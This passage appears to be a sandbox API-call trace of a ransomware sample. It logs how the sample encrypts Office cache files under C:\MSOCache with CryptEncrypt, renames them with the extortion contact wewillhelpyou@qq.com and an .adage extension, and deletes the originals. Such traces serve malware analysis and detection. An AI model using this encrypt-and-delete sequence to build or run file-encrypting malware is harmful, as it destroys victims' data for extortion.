hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x720, lpOverlapped=0x0) returned 1 [0053.224] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d8860) returned 1 [0053.225] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.225] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0053.225] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.225] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0053.226] CryptDestroyKey (hKey=0x4d8820) returned 1 [0053.226] CloseHandle (hObject=0x190) returned 1 [0053.226] CloseHandle (hObject=0x194) returned 1 [0053.227] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0053.228] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0053.228] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.036] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1640) returned 1 [0054.036] CloseHandle (hObject=0x198) returned 1 [0054.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0054.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.036] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.036] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.036] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.036] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.037] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0054.037] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.037] ReadFile (in: hFile=0x198, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x668, lpOverlapped=0x0) returned 1 [0054.100] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x670, dwBufLen=0x670 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x670) returned 1 [0054.100] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x670, lpOverlapped=0x0) returned 1 [0054.101] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88a0) returned 1 [0054.101] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.101] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0054.101] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.101] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0054.101] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.101] CloseHandle (hObject=0x198) returned 1 [0054.101] CloseHandle (hObject=0x194) returned 1 [0054.102] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0054.103] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0054.103] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.112] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2038) returned 1 [0054.113] CloseHandle (hObject=0x194) returned 1 [0054.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0054.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.119] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.119] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.126] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.126] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.127] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0054.127] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.127] ReadFile (in: hFile=0x194, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x7f6, lpOverlapped=0x0) returned 1 [0054.153] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x800, dwBufLen=0x800 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x800) returned 1 [0054.153] WriteFile (in: hFile=0x198, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x800, lpOverlapped=0x0) returned 1 [0054.154] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88a0) returned 1 [0054.154] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.154] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0054.154] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.154] WriteFile (in: hFile=0x198, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0054.154] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.154] CloseHandle (hObject=0x194) returned 1 [0054.154] CloseHandle (hObject=0x198) returned 1 [0054.155] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0054.156] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0054.156] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.157] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1032) returned 1 [0054.157] CloseHandle (hObject=0x198) returned 1 [0054.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0054.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.157] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.157] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.158] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.158] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.158] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0054.158] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.158] ReadFile (in: hFile=0x198, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x408, lpOverlapped=0x0) returned 1 [0054.160] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x410, dwBufLen=0x410 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x410) returned 1 [0054.160] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x410, lpOverlapped=0x0) returned 1 [0054.161] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88a0) returned 1 [0054.161] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.161] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x50, dwBufLen=0x50 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x50) returned 1 [0054.161] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.161] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x102, lpOverlapped=0x0) returned 1 [0054.161] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.161] CloseHandle (hObject=0x198) returned 1 [0054.161] CloseHandle (hObject=0x194) returned 1 [0054.163] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0054.164] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0054.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.164] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=14598) returned 1 [0054.164] CloseHandle (hObject=0x194) returned 1 [0054.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0054.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\pss10r.chm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.164] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.164] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\pss10r.chm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.173] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0054.174] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.174] ReadFile (in: hFile=0x194, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x3906, lpOverlapped=0x0) returned 1 [0054.176] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x3910, dwBufLen=0x3910 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x3910) returned 1 [0054.176] WriteFile (in: hFile=0x198, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x3910, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x3910, lpOverlapped=0x0) returned 1 [0054.177] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88a0) returned 1 [0054.177] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.177] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0054.177] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.177] WriteFile (in: hFile=0x198, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0054.177] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.177] CloseHandle (hObject=0x194) returned 1 [0054.177] CloseHandle (hObject=0x198) returned 1 [0054.179] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0054.180] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0054.180] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.180] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=82790) returned 1 [0054.180] CloseHandle (hObject=0x198) returned 1 [0054.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0054.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\setup.chm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.chm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.180] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.180] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.181] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.181] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\setup.chm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.chm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.181] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0054.181] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.181] ReadFile (in: hFile=0x198, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x14366, lpOverlapped=0x0) returned 1 [0054.314] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x14370, dwBufLen=0x14370 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x14370) returned 1 [0054.347] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x14370, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x14370, lpOverlapped=0x0) returned 1 [0054.350] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88e0) returned 1 [0054.350] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.350] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0054.350] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0054.350] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0054.350] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.350] CloseHandle (hObject=0x198) returned 1 [0054.350] CloseHandle (hObject=0x194) returned 1 [0054.352] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.chm")) returned 1 [0054.353] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0054.353] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.564] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=336313) returned 1 [0054.564] CloseHandle (hObject=0x19c) returned 1 [0054.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0054.571] 